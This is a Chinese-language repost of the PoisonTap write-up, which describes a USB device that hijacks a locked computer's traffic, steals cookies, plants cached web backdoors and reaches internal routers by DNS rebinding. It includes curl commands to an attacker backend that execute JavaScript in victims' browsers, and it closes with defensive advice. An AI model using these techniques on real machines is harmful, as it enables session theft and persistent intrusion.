使用Raspberry Pi Zero在锁定的计算机中安装后门

当poison Tap插入被锁定/密码保护的电脑时:

  • 模拟以太设备通过USB
  • 从机器劫持所有上网流量(尽管是一个低级优先级/未知的网络接口)
  • 存储Alexa排名top 1000000 的网站的http cookies 和sessions
  • 暴露内部路由器给攻击者,使攻击者可以访问远程WebSocket并且重新绑定DNS(感谢马特·奥斯汀DNS重新绑定的想法!)
  • 安装在HTTP缓存持久基于Web的后门为成千上万个域名和常见的JavaScript CDN的URL,都通过缓存中毒访问用户的cookie
  • 允许攻击者在任何后门域中可以远程强制使用用户的cookie进行HTTP请求和代理回应响应(GET&POST)
  • 不需要机器解锁
  • 即使设备被删除偷走,后门访问仍然继续

详细的视频介绍:

poison Tap 绕过以下安全机制:

  • 密码保护与屏幕锁定
  • 路由表优先级和和网络接口循序
  • 同源策略
  • X-Frame-Options
  • HttpOnly Cookies
  • SameSite cookie的属性
  • 双因素/多因素验证(2FA / MFA)
  • DNS绑定
  • 跨域资源共享(CORS)
  • 当安全标记cookie和HSTS未启用时进行HTTPS cookie 保护

PoisonTap

PoisonTap是由 价值5$的Raspberry Pi Zero构建的,除了微型USB电缆和microSD卡之外不需要任何其它额外组件,但PoisonTap可以在其它可以模拟USB小部件(如USB Armory和LAN Turtle)的设备上工作。

cropped6

(incredible HTML5 canvas animation by Ara)

Video Demo: https://youtu.be/Aatp5gCskvk

Point of Contact: @SamyKamkar // https://samy.pl

Released: November 16, 2016

Source code and download: https://github.com/samyk/poisontap

How PoisonTap Works

PoisonTap通过利用机器和网络的各种机制(包括USB / Thunderbolt,DHCP,DNS和HTTP)中现有的信任来产生级联效应,从而产生信息渗透,网络访问和半永久后门的安装的雪球效应。

network2

简而言之,PoisonTap执行以下操作:

网络攻击

1.网络劫持攻击者将PoisonTap(例如武装强化的Raspberry Pi Zero)插入锁定的计算机(即使计算机受密码保护)

2.PoisonTap模拟以太网设备(例如,USB / Thunderbolt) – 默认情况下,Windows,OS X和Linux识别以太网设备,自动将其作为低优先级网络设备加载并在其上执行DHCP请求,即使机器被锁定或密码保护

3.PoisonTap响应DHCP请求并为机器提供IP地址,但是DHCP响应的目的是告诉机器整个IPv4空间(0.0.0.0 – 255.255.255.255)是PoisonTap本地网络的一部分,而不是子网(如192.168.0.0 – 192.168.0.255)

  • 通常,如果次要网络设备连接到机器,因为它将被给予比现有(受信任)网络设备更低的优先级,并且不会取代用于因特网业务的网关,但是…
  • 任何路由表/网关优先级/网络接口服务顺序安全性由于“LAN流量”优先级超过“Internet流量”而被绕过
  • PoisonTap利用此网络访问,甚至作为低优先级网络设备,因为低优先级网络设备的子网被给予比最高优先级网络设备的网关(默认路由)更高的优先级
  • 这意味着如果流量为1.2.3.4,而通常此流量将击中主网络设备(非PoisonTap)的默认路由/网关,PoisonTap实际上获取流量,因为PoisonTap“本地”网络/子网包含1.2 .3.4,以及每个其它IP地址存在;)
  • 因此,即使机器连接到具有较高优先级和正确网关(真正的WiFi,以太网等)的另一个网络设备,所有的Internet流量也会经过PoisonTap

cookies2

抓取Cookie

1.只要Web浏览器正在运行后台,每打开一个页面,服务器后台都要进行http请求(例如加载新广告,将数据发送到分析平台,或者只是继续跟踪您的网络运动)

  • 你可以验证这一点,通过进入devtools / inspector(通常是Cmd + Shift + I或Ctrl + Shift + I),然后点击一个访问量很大的网站,点击网络选项卡,并观察作为远程资源继续访问,即使你在页面上没有采取任何操作。

2.根据此HTTP请求,由于所有流量都退出到PoisonTap设备,PoisonTap DNS欺骗即时返回其自己的地址,导致HTTP请求命中PoisonTap Web服务器(Node.js)

  • 如果DNS服务器指向PoisonTap无法获得特权的内部IP(LAN),攻击继续有效,因为内部DNS服务器将为受攻击的各个域产生公共IP地址,并且它是PoisonTap的公共IP地址已经劫持
  • 一旦内部DNS服务器响应,Web浏览器将访问公共IP,最终在任一情况下访问PoisonTap Web服务器(Node.js)

3.当Node web服务器接收到请求时,PoisonTap会响应一个可以解释为HTML或Javascript的响应,这两个都正确执行(许多网站将在后台请求中加载HTML或JS)

4.然后,HTML / JS-agnostic页面会生成许多隐藏的iframe,每个iframe跨越不同的Alexa-top-100万个域

  • 域上的任何“X-Frame-Options”安全性都被绕过,因为PoisonTap现在是HTTP服务器,并选择发送到客户端的标头
  • 随着对网站的每个iframe HTTP请求(例如,http://nfl.com/PoisonTap),HTTP cookie从浏览器发送到PoisonTap劫持的“公共IP”,其迅速记录cookie /验证信息,将成千上万的用户的Cookie记录到PoisonTap
  • 任何“HttpOnly”cookie安全性被绕过,并且捕获这些cookie是因为没有Javascript在域本身上执行,而是仅用于首先加载iframe
  • 任何跨源资源共享或同源策略安全性被绕过,因为正在访问的域对浏览器显示合法
  • 由于我们捕获的是Cookie而不是凭据,因此当攻击者使用Cookie登录时,将绕过在网站上实施的任何2FA / MFA。这是因为我们实际上不是执行登录功能,而是继续一个已经登录的会话,不会触发双因素身份验证
  • 如果服务器使用HTTPS,但Cookie未显式设置安全cookie标志,则绕过HTTPS保护,并将cookie发送到PoisonTap

router2

基于web后门的远程访问

1.虽然PoisonTap正在生产数千个iframe,迫使浏览器加载每个iframe,但这些iframe不仅仅是空白页面,而是无限缓存的HTML + Javascript后门

2.即使用户当前未登录,由于PoisonTap在每个域上强制缓存这些后门,后门被绑定到该域,使攻击者能够使用域的Cookie并在将来启动同源请求,即使用户当前未登录

  • 例如,当加载http://nfl.com/PoisonTap iframe时,PoisonTap通过Node Web服务器响应HTTP请求接受转向的Internet流量。
  • 添加了其它HTTP头以无限缓存页面

3.页面的实际响应是HTML和Javascript的组合,其产生持续的WebSocket到攻击者的web服务器(通过因特网,而不是PoisonTap设备)

  • WebSocket保持打开状态,允许攻击者在将来的任何时候连接回后端机器,并在任何有后门实现的源上执行请求(Alexa排名前100万个网站 – 见下文)
  • 如果后门在一个站点(例如,nfl.com)上打开,但用户希望攻击不同的域(例如,pinterest.com),攻击者可以将nfl.com上的iframe加载到pinterest.com后门(http://pinterest.com/PoisonTap)。
  • 同样,域上的任何“X框架选项”,跨源资源共享和同源策略安全性完全被绕过,因为请求将命中PoisonTap离开的缓存,而不是真正的域
OLYMPUS DIGITAL CAMERA
OLYMPUS DIGITAL CAMERA

内部路由器后门和远程访问

1.PoisonTap不能劫持是真正的网络接口的实际LAN子网(例如,如果用户的wifi子网是192.168.0.x,这个网络不受影响),但…

2.PoisonTap在一个特别主机上强制缓存后门,具体地,目标路由器的IP后面加上“.ip.samy.pl”,例如。 192.168.0.1.ip.samy.pl,基本上产生持久的DNS重绑定攻击

  • 当使用PoisonTap作为DNS服务器(受害者使用公共DNS服务器)时,PoisonTap临时使用专门的PoisonTap IP(1.0.0.1)进行响应,这意味着此时的任何请求都将命中PoisonTap Web服务器
  • 如果期待DNS服务器设置内部网络(例如,192.168.0.x),我们对1.0.0.1.pin.ip.samy.pl服务器发出一个额外的特制请求,几秒之后,它会返回专用DNS服务器(公网的)的信息。
  • 然后,PoisonTap在http://192.168.0.1.ip.samy.pl/PoisonTap上快速设置一个后门,暂时指向1.0.0.1版本的PoisonTap设备,它允许后门从PoisonTap设备访问和存储

3.DNS绑定和DNS重绑的安全性由于耗尽DNS绑定表而被绕过。由于之前做出的成千上万次的请求,DNS不需要重新绑定,使得该攻击可以持续很长时间(感谢Matt Austin分享这种攻击思路!)

4.现在,后门强制连接到http://192.168.0.1.ip.samy.pl/PoisonTap,任何对192.168.0.1.ip.samy.pl的请求都将命中非固定的IP地址,导致192.168.0.1 以解析,直接指向路由器

5.这意味着如果通过后门远程在iframe中加载192.168.0.1.ip.samy.pl/PoisonTap主机,你可以对内部路由器上的任何其他页面执行AJAX GET / POST,完全远程,从而允许远程访问内部路由器

  • 这可能导致对路由器的其它攻击,攻击者可能从来没有访问过,例如路由器上的默认管理员凭据用于覆盖DNS服务器或暴露的其他身份验证漏洞

pin2
Recap of the DNS server:

[ip.addy].ip.samy.pl normally responds with [ip.addy]
192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)
[ip.addy].pin.ip.samy.pl temporarily (~5 seconds) points *.ip.samy.pl to [ip.addy]
1.0.0.1.pin.ip.samy.pl -> 1.0.0.1
192.168.0.1.ip.samy.pl -> 1.0.0.1 (A record, short TTL)
(after ~5 seconds)
192.168.0.1.ip.samy.pl -> 192.168.0.1 (A record)

基于web远程访问的其它后门

1.此外,PoisonTap替代了成千上万的常见的,基于CDN的Javascript文件,如谷歌和jQuery CDNs。在确定安全的代码加上一个后门,可以让攻击者访问任何域时加载受感染的基于CDN的Javascript文件

2.由于每个域上都留有后门,即使当前受害者没有对当前域任何开放任何窗口,攻击者几乎可以远程强制后端浏览器在任何主域上执行同源请求(AJAX GET / POST)

3.当受害者访问网站时,后门现在可以在任何额外的网站上使用这些受感染的,基于HTTP的CDN Javascript框架

ptplug

安全预防posion Tap

服务端安全

如果你正在运行一个web服务器,以下是安全防御posion Tap的样例:

1.仅使用HTTPS,至少为认证和已认证的内容使用HTTPS

2.老实说,你应该单独使用HTTPS,并始终将HTTP内容重定向到HTTPS,防止用户通过HTTP提交被欺骗提供的凭据或其它PII

3.确保在Cookie上启用安全标记,防止通过HTTP泄漏HTTPS Cookie

4.使用HSTS防止HTTPS降级攻击

桌面安全

1.拿粘合剂封住USB和Thunderbolt端口效果不错(与第3条类似,不过这里是物理封锁—小编注)

2.每次离开机器时关闭浏览器,不过这是完全不切实际的

3.禁用USB / Thunderbolt端口也是有效的,虽然也不切实际

4.锁定计算机没有任何效果,因为网络和USB堆栈在机器锁定期间操作。但是,计算机进入加密睡眠模式(例如,FileVault2 +深度睡眠)可以解决大多数问题,因为内存需要内存需要秘钥解密,即使你的浏览器被唤醒。它仍然不能提出任何请求。

Code下载地址:

Source code: https://github.com/samyk/poisontap

文件分解

在poisontap中有许多文件,它们用于不同的方面。 以下是文件列表:

  • ackdoor.html:每当一个http://hostname/PoisonTap URL命中exfiltrate cookies,这个文件是作为强制缓存的内容返回。它包含一个后门,生成一个出站websocket到samy.pl:1337(可调整到任何主机/端口),保持打开等待服务器的命令。当你在网站上加载iframe(如http://hostname/PoisonTap)时,这意味着这是被填充的内容(即使PoisonTap从计算机中删除)。
  • backend_server.js :这是你在Internet可访问的服务器上运行的Node.js服务器。 这是正是backdoor.html连接的内容(例如,samy.pl:1337)。 这是你连接到发送命令到你的PoisonTapped minion机器相同的服务器,例如
# pop alert to victim
curl 'http://samy.pl:1337/exec?alert("muahahahaha")'
# to set a cookie on victim
curl 'http://samy.pl:1337/exec?document.cookie="key=value"'
# to force victim to load a url via ajax (note, jQuery is stored inside the backdoor)
curl 'http://samy.pl:1337/exec?$.get("http://192.168.0.1.ip.samy.pl/login",function(d)\{console.log(d)\})'
  • pi_poisontap.js:它通过Raspberry Pi Zero上的Node.js运行,是PoisonTap是负责截获的来自HTTP服务器的任何请求的,是存储Cookie和注入缓存的后门。
  • pi_startup.sh:它在Raspberry Pi Zero上启动时运行,以便将设备设置为模拟USB以太网小配件,为我们设置恶意DHCP服务器,允许流量重走,DNS欺骗,并启动上面的pi_poisontap.js。
  • target_backdoor.js: 此文件预先放在任何与CDN相关的Javascript文件中,从而将其封锁。
  • target_injected_xhtmljs.html:这是在受害者的机器上注入无意/后台HTTP / AJAX请求并产生整个攻击的代码。它的构造方式使得它可以解释为HTML或Javascript,并且仍然执行相同的代码。
  • poisontap.cookies.log:  一旦用户的计算机开始向PoisonTap发送HTTP请求,并且记录来自浏览器的cookie及其所属的相关URL /域,就会生成此文件。

 

*作者:SamyKamkar,转载请注明来自MottoIN

原创文章,作者:Tank,如若转载,请注明出处:http://www.mottoin.com/geek/92104.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code